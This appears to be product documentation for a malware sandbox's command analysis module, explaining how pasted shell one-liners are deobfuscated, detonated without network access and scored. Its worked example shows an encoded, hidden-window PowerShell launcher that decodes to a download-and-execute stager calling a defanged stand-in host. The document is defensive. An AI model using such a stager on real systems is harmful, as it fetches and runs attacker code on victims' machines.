Command analysis
What this module is
Malwagon command analysis takes a shell command as pasted text, whether PowerShell, CMD or bash, and treats that text as the sample. It returns the deobfuscated script with the layer chain that produced it, a process tree, a packet capture, a screen recording, extracted indicators and a scored verdict.
A pasted script is the sample
This module has no file field. The text you paste becomes the artifact the scan is about: it is stored, addressed by its digest and de-duplicated, so the same one-liner submitted twice is one sample row, not two. In the guest that text is written to disk and started by a real interpreter, so the process tree is rooted in a file that has a path and a command line, exactly as it is for any launched sample; no harness types a string at a shell on its behalf. From that point the run produces what any other detonation produces, because the script occupies the position a sample occupies: a digest, a scan row, a process tree and a report.
- target
- Free text: PowerShell, CMD or bash. Any bytes are accepted. Invalid sequences are replaced on the way to UTF-8, so a paste carrying broken encoding still analyses; nothing is turned away over how it was encoded.
- shell
- Decided from the text, never asked. Windows text shaped like a batch command runs under cmd.exe; anything else on Windows runs under powershell.exe; Linux runs under bash.
- guest
- Pinned, not picked. A Windows command lands on the Windows 10 image, a Linux command on the Linux desktop image. The seven-image picker of the file module is not offered here.
- egress
- None, on free and paid plans alike. The form carries no internet field, and this module writes no egress option into the run it builds.
- layers
- Static and dynamic start on, AI starts off, at least one is required. Static alone gives you the local peel with no machine.
- cost
- One credit, including the second guest on the runs where markup-wrapped script content earns an emulation pass.
Egress is settled by the code path, not by a form field
The command form has no internet field, the API surface has no field for one, and this module writes no egress option, so the network gate answers no for submissions on free and paid plans alike. A downloader pasted here is watched resolving its name and opening its socket, and the stage does not arrive. Malwagon puts that decision in the route a command scan takes, which leaves no setting for an administrator to be talked into loosening.
| Surface | Length | You choose | Fixed for you |
|---|---|---|---|
| Console | No cap. The field declares no maximum, because the submitter is known. | The command text, Windows or Linux, and which of the three layers run. Report visibility and Ultra Privacy where your plan carries them. | The image, the interpreter, the run length, the network and every detonation option the file module exposes. |
| Public landing scan | 2,048 characters | Nothing beyond the text. Longer input is refused with a pointer at file submission, not silently truncated. | Windows 10, 120 seconds, isolated network, workgroup, automatic execution, desktop working directory, normal trace depth. |
| REST and MCP | 2,048 characters | The module key, the target string and the layer selection. For automation, name the interpreter in the command you send, so the shell is stated by you and never inferred. | The same pinned images, and the same absent egress as a console submission. |
Peeled on this host, executed nowhere
The first thing that happens to a submitted command is not a detonation. It is a text transformation on the analysis host: layers are peeled repeatedly until the text stops changing, and each pass records by name which techniques it applied. What you get back is not a before-and-after pair but a chain, and the chain is the part that is worth reading, because three passes that each removed one encoding tell you how the author expected to be looked at.
Nothing in that path starts a process. The rule is enforced by the build: a standing test reads the module's own source and fails the build if a process-spawning primitive appears in it at all. The one part of this module that genuinely interprets script, the emulation pass described further down, was deliberately taken out of a host jail and moved into a detonation guest for the same reason. A jail is a mitigation; a virtual machine is the architecture.
| Technique | What it unwraps | The shape it arrives in |
|---|---|---|
| Encoded command | The base64 argument carried on the interpreter's own encoded-command switch, decoded and then validated as UTF-16LE or UTF-8 by how much of the result is printable, without assuming either. | A long base64 run after the encoded-command switch, usually with the window-style and profile switches beside it. |
| Base64 string decode | A base64 literal handed to the runtime's own decoder inside the body of the script. | A decode call wrapped around a quoted literal, often feeding a stream or an assembly load. |
| Standalone base64 blob | A long base64 run sitting in the text with no decoder call around it. Commonly the last layer, and the one that carries the stage. | An unbroken run of base64 assigned to a variable or passed as an argument. |
| Format string | A string rebuilt from a template and its argument list, which is how a keyword is kept out of the file that contains it. | A template of numbered placeholders followed by the format operator and a list of fragments. |
| Character array | A string rebuilt from character codes and joined at runtime. | A list of numeric character casts, joined into a string that is then invoked. |
| Concatenation | Quoted fragments glued back together, so that no single literal in the file spells the thing being called. | Two or more quoted pieces joined by the concatenation operator. |
| Escape characters | The interpreter's escape character sprinkled through keywords, which changes nothing at execution and breaks literal string matching. | Escape marks inside command names and method names. |
submitted powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBi...
layer 1 encoded command base64 argument, validated as UTF-16LE
layer 2 standalone base64 blob a deflate stage, inflated in memory
layer 3 concatenation, escape characters
recovered
IEX (New-Object Net.WebClient).DownloadString('hxxp://stage.example/a.ps1')
indicators dynamic code execution / remote download / web client
/ encoded command / hidden window / profile suppression
iocs hxxp://stage.example/a.ps1
Encoded commands are the case worth being explicit about, because the encoding is not self-describing. The argument on that switch is conventionally UTF-16LE, but nothing enforces it and plenty of samples carry UTF-8; decoding it as the wrong one produces a text that looks like garbage and quietly loses the layer. Both are tried, and the result is accepted on how much of it is printable, not on which one was expected.
Written against hostile input, not against samples that behave
A script can be written as a cost attack: nothing hidden in it at all, just work for the analyser. The peeler works to a budget on how long it will keep peeling and on how large a single inflated stage may get, so a submission designed to amplify stops costing at that point and no worker stalls behind it. Its patterns are held to linear matching behaviour by fuzzing, and the performance tests carry detection assertions beside them, so a pattern that got faster by matching less would fail the suite. The budget values are not published, for the obvious reason: a script written by someone who knows the budget is written to outlast it.
Over both the submitted text and the recovered text, nineteen named indicator classes are applied. Each one is a class of behaviour, given here by its name and its meaning; the patterns behind them stay unpublished, because a printed pattern is a checklist for writing around it. These names are what moves the verdict, and they are also, as the next section explains, what the AI layer reads of your submission. The names reach it. The script does not.
| Intent | Classes | Why it counts |
|---|---|---|
| Execution | Dynamic code execution, process launch | Text that is turned into code at runtime, and a script that hands its work to a new process it starts. |
| Remote stage | Remote payload download, web client use, web request | Three distinct shapes of fetch. A one-liner whose whole job is to get the next stage is the most common thing submitted to this module. |
| Encoding | Encoded command, base64 decoding, in-memory decompression | The carrier layers. Present in the submitted text they describe the wrapper; present in the recovered text they mean there is another one underneath. |
| Stealth and policy | Hidden window, execution-policy bypass, profile suppression | Interpreter switches whose only purpose is that nobody sees or interrupts the run. Individually weak, jointly characteristic. |
| In-process loading | Reflective assembly loading, shellcode-injection primitives | Code that is loaded straight into a running process and never lands on disk, which is the case a script-oriented pipeline exists to catch. |
| Persistence | Scheduled-task persistence, registry run-key persistence | The two mechanisms a single line can reach, and the reason a run that looks like it did nothing still needs its autostart state read. |
| Built-in binary abuse | Certificate-utility abuse, background-transfer abuse, LOLBin execution | Signed tooling already on the machine, doing work the attacker would otherwise have to bring with them. |
| Defense tampering | Anti-malware tampering | A line that changes the machine's own protection settings before the payload arrives. |
What does the AI layer see, and what stays here?
The local result is what the AI layer is given. The script is not, in any of its forms. The model receives the technique names the peeler reported, the indicator class names, defanged indicators and behaviour summaries; the submitted text, the recovered text, the captured script blocks and the scan-interface buffers are named on a forbidden list and the payload is scrubbed recursively on the way out, so a field added later under a structure that is copied wholesale is dropped, not shipped. It is an allowlist with a backstop, not a filter.
| Artifact | On this host | AI layer | Off the platform |
|---|---|---|---|
| The text you pasted | kept | not sent | not sent |
| The locally recovered text | kept | not sent | not sent |
| Script blocks captured during the run | kept | not sent | not sent |
| Scan-interface buffers | kept | not sent | not sent |
| Code the emulated script built at runtime | kept | not sent | not sent |
| Packet capture, screenshots, screen recording | kept | not sent | not sent |
| Technique names and indicator class names | kept | sent | not sent |
| Defanged URLs and addresses | kept | sent | derived only |
| The sample digest | kept | sent | hash lookup |
Then it is actually run
Static recovery tells you what the author wrote down. It does not tell you what the machine did with it, and the two diverge exactly where an attacker put the effort. The same paste is therefore detonated. The guest is a full virtual machine under a hypervisor, on hardware Malwagon operates: it is restored from a live memory snapshot of a desktop that was already running, so the sample meets a warm machine seconds after you submit it, and it writes to a copy-on-write disk that is discarded when the scan ends. Nothing is cleaned up between runs because nothing is carried over. The state a run begins from is the snapshot's. The sample runs under a standard user token, on a network with no forwarding path anywhere.
Recorded from outside the guest
The evidence a sample has no handle on is taken from outside it. Packets are recorded at the guest's virtual interface by the hypervisor, and the screen is captured across the run and streamed live while it happens. Both are properties of the virtual machine, with nothing installed inside the guest for a sample to switch off, so a script that kills, unhooks or blinds user-mode instrumentation does not remove them. Inside the guest, a kernel-level trace adds what only that vantage point has: the process tree with full command lines including processes that lived for milliseconds, file and registry operations attributed to the sample's own tree, network connections and DNS. That layer is one source among several. A script that succeeds in blinding it costs itself detail and leaves the capture, the recording and the disk artifacts standing.
Why is the same script recovered twice?
Two more Windows captures exist because the sample is a script, and they are the reason this module is not the file module with a text box. The interpreter's own logging channel yields the deobfuscated body of the blocks it executed, in the form it ran them. The anti-malware scan interface yields the buffer handed to the scanner immediately before execution, taken in a dedicated, isolated trace session and attributed to the sample's process tree. Between them they answer the layers no static peeler can reach: a key built by arithmetic, a body decrypted in memory, a chain assembled by reflection.
Both captures are attributed to the sample's own run. That sounds like housekeeping and is not: a restored guest is a machine that was already doing things, and its interpreter log holds that activity too, so attribution is what keeps a benign paste from being reported as a script host hard at work. The scan-interface session also publishes its own arithmetic on the report, down to how many records it read and how many survived attribution, so a report saying zero script scans is a result you can reason about, with the arithmetic on the page to show the panel did its work.
The launch is on the report, and the harness is not the sample
A script sample does not choose its interpreter. The platform does, and that choice is recorded as the launch: which interpreter started the paste, and the root process id the run hangs from. The harness's own contribution to the machine is identified and excluded from detection, so the environment the platform built around a sample is not read back as behaviour of the sample. Publishing the launch also separates two reports that otherwise look identical: a sample that ran and did nothing, and a run where the sample never started.
Living off the land, at runtime
Over the process graph and the captured script blocks, the living-off-the-land corpus runs a second time during the detonation. It keys on how a utility that ships with the operating system was invoked, not on that utility being present, so ordinary administration of a scheduling or certificate facility does not raise a finding. Script blocks are matched as bodies in their own right, which is how a download issued inside an already-running session is still attributed.
- built-in binaries covered
- 31 signed binaries that ship with Windows, matched on how they were invoked. Presence on the machine counts for nothing.
- abuse rules
- 36, each keyed on an invocation shape that separates abuse from ordinary administration.
- ATT&CK techniques
- 25 distinct technique IDs, folded into the scan's technique matrix alongside anything Sigma matched.
| Class | What it is | What the report records |
|---|---|---|
| Download and execute through a signed utility | A utility already on the machine is used to bring a remote file down and start it, so the attacker carries no tooling of their own. | The process, its parent and its full command line from the kernel trace, the ATT&CK technique, and the endpoint stored as a defanged indicator. |
| Script host invocation | A script engine is started to run a body handed to it by something else, which is how a second language enters a run that began in the first. | The host process on the tree even when it lived for milliseconds, and the body itself through the script-block and scan-interface captures. |
| Scheduled and service-backed execution | Execution registered with the operating system's own scheduler or service manager, so it outlives the session that created it. | The finding, and the persistence surface catalogued beside it with its state, so a report shows what was written and where. |
| Remote payload staging | A transfer job or a remote target that fetches the next stage in the background. | The attempt with its endpoint. There is no egress here, so the fetch fails and the intent is what the report holds. |
| Proxy execution inside a signed host | Code run inside a binary that ships signed with the operating system, so the process on the tree looks like part of the machine. | The host process, the technique, and the in-process loading indicator classes from the static peel when the same shape turned up there too. |
| Local decode and stage with a built-in utility | A utility on the machine used to decode, unpack or move a stage that is already on disk. | The finding beside the encoding classes from the peel, which is how a wrapper and its runtime twin end up on one report. |
Around those sit the layers that do not care what language the sample was written in: Sigma matching over the derived behaviour, including a dedicated script-block event category, with the techniques of matched rules folded into the ATT&CK matrix; WMI activity traced with the full query text and the calling process; persistence detection that also reads the recovered script blocks, so a mechanism named only inside a decoded block is still catalogued; and a verdict ledger that prints which layer awarded what, and for what reason, so every point on the score carries its provenance.
What does a bash one-liner record?
A Linux paste takes the same route as a Windows one and differs in its instruments. The text is written into the Linux desktop image and started from disk by bash, so the process tree is rooted in a file with a path and an argument vector. Packets are recorded at the virtual interface and the screen is recorded through the hypervisor exactly as on Windows, because neither of those depends on what the guest is running: the outside-the-guest evidence is identical on both paths.
Inside the guest the trace is taken at the syscall level, and it is to a Linux run what the kernel trace is to a Windows one. It yields the exec chain from the shell down to everything it starts, short-lived children included, with each process's arguments and its parent. A diff of the working directory reconciles what the run wrote, so a file left behind is listed with its digest, and one that was then made executable or actually executed is marked as a payload and kept apart from the scratch a run leaves behind. Sockets come back as endpoints with the process behind them and the names the run resolved, and TLS session keys are captured so the encrypted traffic in the packet capture is readable afterwards with no interception proxy standing in the connection.
Take the shape most often pasted here: a fetch piped straight into a shell. The report holds the name it resolved, the address behind that name, the connection that failed for want of egress, and whatever the script did once the stage did not arrive, which is frequently the interesting part, because a stager with a fallback shows you the fallback. A one-liner that touches only the machine it lands on runs to completion, and its writes, permission changes and persistence edits are in the document.
Two Windows captures have no counterpart here: the interpreter's own logging channel and the scan-interface buffer. The second recovery described above is a Windows property, and on Linux the answer comes from the syscall trace and the working-directory diff. Persistence is classified across the surfaces a shell script actually reaches, each mapped to a technique.
| Surface | Technique | Surface | Technique |
|---|---|---|---|
| Cron jobs | T1053.003 | Dynamic-linker preload | T1574.006 |
| Service units | T1543.002 | SSH authorized keys | T1098.004 |
| Shell configuration files | T1546.004 | Kernel modules | T1547.006 |
| Desktop autostart | T1547 | Setuid and setgid abuse | T1548.001 |
Four pastes, four paths
The shell is decided from the text and the image is decided by the operating-system selector, which between them fix the whole route. One more decision happens inside the static layer: a paste whose opening bytes look like markup-wrapped or script-host content is routed to the analyser that matches it, away from the PowerShell one, and is additionally queued for an emulation pass.
| What you paste | Image and interpreter | Static path | What the report gains |
|---|---|---|---|
| PowerShell | Windows 10, powershell.exe | Local peel, indicator classes, IOCs, built-in binary abuse | Script contents with the layer chain, script blocks as executed, scan-interface buffers, kernel telemetry, Sigma, persistence, runtime abuse findings |
| A batch-shaped command | Windows 10, cmd.exe | The same peel and the same classes | The same, minus the interpreter-specific captures a batch command does not generate. Anything it launches that is a script host is captured normally |
| bash | Linux desktop, bash | Read by the same analyser, which is oriented at Windows shells | Syscall trace, exec chain with arguments, dropped files with digests, socket endpoints with the process behind them, TLS keys, persistence surfaces, packet capture and Sigma |
| Markup-wrapped or script-host content | Windows 10 for the run, plus a Linux guest for the emulation | Routed away from the PowerShell analyser and queued for emulation | A typed emulation card: what it executed, what it fetched, what it wrote with the contents, what it touched in the registry, and the code it assembled at runtime |
That last row is worth unpacking, because emulation is interpretation and interpretation is execution. It therefore happens in the Linux detonation guest, off the analysis host entirely, with no network by construction and a hard time box. What comes back is parsed as typed records read out of a bounded result file, never scraped out of a console log: the commands the script tried to run, the files it wrote together with their contents, its registry writes, its fetches, and the snippets it built at runtime. For a dropper, the file it writes is the next stage, and the contents field is the point of the whole exercise.
The emulation is an addition to the real detonation, which still runs in full, and it costs no extra credit. Two outcomes are held apart in the data and worded differently on the report: an emulator that ran and observed nothing is a different result from an emulator that never ran, and a report with no emulation card names which of the two you are looking at, so silence is never read as an inert script.
| Section | What the budget is measured in |
|---|---|
| Recovered script text | Characters of recovered body rendered on the card |
| Extracted URLs and IPv4 addresses | Indicator rows kept for the scan |
| Living-off-the-land findings | Findings kept for the scan |
| Captured script blocks | Blocks kept, and characters kept per block |
| Scan-interface rows | Rows kept for the scan |
| Typed emulation records | Records kept in total, and per category |
| Code assembled at runtime by an emulated script | Snippets kept, and characters per snippet |
| Contents of a file an emulated script wrote | Characters of file content kept |
What this module does not do
- No internet, on any plan
- Structural, as above: there is no configuration to change. A stager pasted here is observed trying and failing; if you need the next stage fetched, that is a file or URL submission on a plan that carries egress.
- No detonation options at all
- No image choice, no domain-joined mode, no run-length control, no elevated token, no manual execution, no memory or process dump, no mouse simulation, no sleep-evasion bypass, no pre-script, no start arguments, no custom working directory. A one-liner that only detonates under a specific environment belongs in the file module, where those controls exist.
- The shell decision is a narrow heuristic
- Windows text is read for a fixed set of batch markers, environment-variable expansion and a fixed list of shell builtins. A batch one-liner that uses none of those constructs runs under PowerShell instead, and unrecognised text always stays on PowerShell. The lists are not published, for the same reason the indicator patterns are not.
- Static coverage for shell scripts is thin
- A bash paste is read by an analyser written for Windows shells: only a few of the indicator classes mean anything for a shell script, and the built-in binary corpus is Windows-only. The Linux answer on this module comes from the run, not from the reading.
- No file-oriented static analysis is applied
- A command sample gets the deobfuscator and nothing else. No YARA matching, no capability analysis, no packer or entropy work, no anti-virus engine and no machine-learning classifier run against the pasted text, because none of them answer a question about a script.
- The peeler is not an interpreter
- It removes a fixed catalogue of layer types. Arithmetic string building, XOR and stream-cipher loops, reflection chains, secure-string construction and anything assembled only at runtime are not peeled statically. Those are answered by the run, through the script-block and scan-interface captures, which is precisely why both recoveries exist.
- The AI narrative is thinner here, on purpose
- The model is handed no line of the script in any form, so it reasons over technique names, indicator class names, defanged indicators and behaviour summaries. That is the invariant working as designed, and it is also a genuine ceiling on what the narrative can say. Read the script contents card for the script.
- One run, one image, one attempt
- No multi-OS sweep, no re-detonation under different conditions, no automatic second try. A command that behaves differently on an older script host is a second submission.
- Emulation is a model, not the truth
- It is narrow by design: it happens only for markup-wrapped or script-host content, it is time-boxed, it has no network at all, and it reads a fixed set of bounded result files. It tells you what the script tried to do in a simulated environment, which is a different claim from what it did in a real one.
- Generated rules are drafts
- Detection rules built from a scan's own evidence are attached to the report and exportable, and the ones worth carrying into production come from the runtime evidence. Review anything generated from a command scan against your own telemetry before you ship it.
- The scan list shows a sample, not your command
- Console submissions are filed under a fixed artifact name, so the console list will not show you the pasted text. The command itself is on the report.
- Length is capped everywhere except the console
- 2,048 characters through the public landing form and through REST and MCP, and anonymous submissions are metered per source address per day. Past that length, submit the script as a file.
Running one, and where to go next
In the console, or through the API
Paste the command into the console, choose Windows or Linux, and leave static and dynamic
selected; add the AI layer if you want the narrative. Through the API and MCP surfaces, set
the module to command and send the script as the target, up to 2,048
characters. Either way the run costs one credit, produces a recovered script with a named
layer chain, a detonation on a machine that is thrown away afterwards, and a verdict ledger
that says which layer awarded what.
The evidence chain is pinned by named regression fixtures. Both the obfuscated and the deobfuscated form of one script block have to be captured; a batch command has to produce its run-key persistence finding; a built-in binary abuse has to be raised; and a benign control has to score zero. A change that breaks one of them fails the build.
This module exists for the case where one line of text is all you were handed: the command-line field on an alert, a block of copied mail, a line pulled out of a ticket. It gives that line back to you as what it said and then as what it did, and reading those two against each other is the whole job. What is left over has a page of its own. The guest it ran on, and how that guest is rebuilt between runs, are on the platform page; the boundary the recovered script is never carried across is on security; the same submission driven by a queue rather than a person is on API and MCP; and a paste that turns out to be a wrapper around a file you already hold belongs in the file module, which offers the image picker this one does not.